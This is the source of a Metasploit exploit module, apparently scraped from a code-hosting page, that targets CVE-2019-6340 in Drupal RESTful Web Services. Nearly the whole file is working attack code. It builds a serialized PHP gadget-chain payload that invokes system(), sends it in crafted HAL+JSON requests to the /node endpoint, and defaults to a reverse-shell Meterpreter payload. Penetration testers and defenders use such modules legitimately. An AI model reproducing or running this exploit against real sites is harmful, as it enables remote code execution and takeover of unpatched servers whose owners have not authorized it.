Path: blob/master/modules/exploits/unix/webapp/drupal_restws_unserialize.rb
32587 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67# NOTE: All (four) Web Services modules need to be enabled8Rank = NormalRanking910include Msf::Exploit::Remote::HTTP::Drupal11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Drupal RESTful Web Services unserialize() RCE',18'Description' => %q{19This module exploits a PHP unserialize() vulnerability in Drupal RESTful20Web Services by sending a crafted request to the /node REST endpoint.2122As per SA-CORE-2019-003, the initial remediation was to disable POST,23PATCH, and PUT, but Ambionics discovered that GET was also vulnerable24(albeit cached). Cached nodes can be exploited only once.2526Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of27this alternate vector.2829Drupal < 8.5.11 and < 8.6.10 are vulnerable.30},31'Author' => [32'Jasper Mattsson', # Discovery33'Charles Fol', # PoC34'Rotem Reiss', # Module35'wvu' # Module36],37'References' => [38['CVE', '2019-6340'],39['URL', 'https://www.drupal.org/sa-core-2019-003'],40['URL', 'https://www.drupal.org/psa-2019-02-22'],41['URL', 'https://www.ambionics.io/blog/drupal8-rce'],42['URL', 'https://github.com/ambionics/phpggc'],43['URL', 'https://twitter.com/jcran/status/1099206271901798400']44],45'DisclosureDate' => '2019-02-20',46'License' => MSF_LICENSE,47'Privileged' => false,48'Targets' => [49[50'PHP In-Memory',51{52'Platform' => 'php',53'Arch' => ARCH_PHP,54'Type' => :php_memory,55'Payload' => { 'BadChars' => "'" },56'DefaultOptions' => {57'PAYLOAD' => 'php/meterpreter/reverse_tcp'58}59}60],61[62'Unix In-Memory',63{64'Platform' => 'unix',65'Arch' => ARCH_CMD,66'Type' => :unix_memory,67'DefaultOptions' => {68'PAYLOAD' => 'cmd/unix/generic',69'CMD' => 'id'70}71}72]73],74'DefaultTarget' => 0,75'Notes' => {76'AKA' => ['SA-CORE-2019-003'],77'Stability' => [CRASH_SAFE],78'SideEffects' => [IOC_IN_LOGS],79'Reliability' => [UNRELIABLE_SESSION] # When using the GET method80}81)82)8384register_options([85OptEnum.new('METHOD', [86true, 'HTTP method to use', 'POST',87['GET', 'POST', 'PATCH', 'PUT']88]),89OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]),90OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])91])92end9394def check95checkcode = CheckCode::Unknown9697version = drupal_version9899unless version100vprint_error('Could not determine Drupal version')101return checkcode102end103104if version.to_s !~ /^8\b/105vprint_error("Drupal #{version} is not supported")106return CheckCode::Safe107end108109vprint_status("Drupal #{version} targeted at #{full_uri}")110checkcode = CheckCode::Detected111112changelog = drupal_changelog(version)113114unless changelog115vprint_error('Could not determine Drupal patch level')116return checkcode117end118119case drupal_patch(changelog, 'SA-CORE-2019-003')120when nil121vprint_warning('CHANGELOG.txt no longer contains patch level')122when true123vprint_warning('Drupal appears patched in CHANGELOG.txt')124checkcode = CheckCode::Safe125when false126vprint_good('Drupal appears unpatched in CHANGELOG.txt')127checkcode = CheckCode::Appears128end129130# Any further with GET and we risk caching the targeted node131return checkcode if meth == 'GET'132133# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable134token = Rex::Text.rand_text_alphanumeric(8..42)135res = execute_command("echo #{token}")136137return checkcode unless res138139if res.body.include?(token)140vprint_good('Drupal is vulnerable to code execution')141checkcode = CheckCode::Vulnerable142end143144checkcode145end146147def exploit148if datastore['PAYLOAD'] == 'cmd/unix/generic'149print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')150# XXX: Naughty datastore modification151datastore['DUMP_OUTPUT'] = true152end153154case target['Type']155when :php_memory156# XXX: This will spawn a *very* obvious process157execute_command("php -r '#{payload.encoded}'")158when :unix_memory159execute_command(payload.encoded)160end161end162163def execute_command(cmd, _opts = {})164vprint_status("Executing with system(): #{cmd}")165166# https://en.wikipedia.org/wiki/Hypertext_Application_Language167hal_json = JSON.pretty_generate(168'link' => [169'value' => 'link',170'options' => phpggc_payload(cmd)171],172'_links' => {173'type' => {174'href' => vhost_uri175}176}177)178179print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")180181res = send_request_cgi({182'method' => meth,183'uri' => node_uri,184'ctype' => 'application/hal+json',185'vars_get' => { '_format' => 'hal_json' },186'data' => hal_json187}, 3.5)188189return unless res190191case res.code192# 401 isn't actually a failure when using the POST method193when 200, 401194print_line(res.body) if datastore['DUMP_OUTPUT']195if meth == 'GET'196print_warning('If you did not get code execution, try a new node ID')197end198when 404199print_error("#{node_uri} not found")200when 405201print_error("#{meth} method not allowed")202when 422203print_error('VHOST may need to be set')204when 406205print_error('Web Services may not be enabled')206else207print_error("Unexpected reply: #{res.inspect}")208end209210res211end212213# phpggc Guzzle/RCE1 system id214def phpggc_payload(cmd)215(216# http://www.phpinternalsbook.com/classes_objects/serialization.html217<<~EOF218O:24:"GuzzleHttp\\Psr7\\FnStream":2:{219s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{220s:5:"close";a:2:{221i:0;O:23:"GuzzleHttp\\HandlerStack":3:{222s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";223s:cmd_len:"cmd";224s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";225a:1:{i:0;a:1:{i:0;s:6:"system";}}226s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";227b:0;228}229i:1;s:7:"resolve";230}231}232s:9:"_fn_close";a:2:{233i:0;r:4;234i:1;s:7:"resolve";235}236}237EOF238).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)239end240241def meth242datastore['METHOD'] || 'POST'243end244245def node246datastore['NODE'] || 1247end248249def node_uri250if meth == 'GET'251normalize_uri(target_uri.path, '/node', node)252else253normalize_uri(target_uri.path, '/node')254end255end256257def vhost_uri258full_uri(259normalize_uri(target_uri.path, '/rest/type/shortcut/default'),260vhost_uri: true261)262end263264end265266267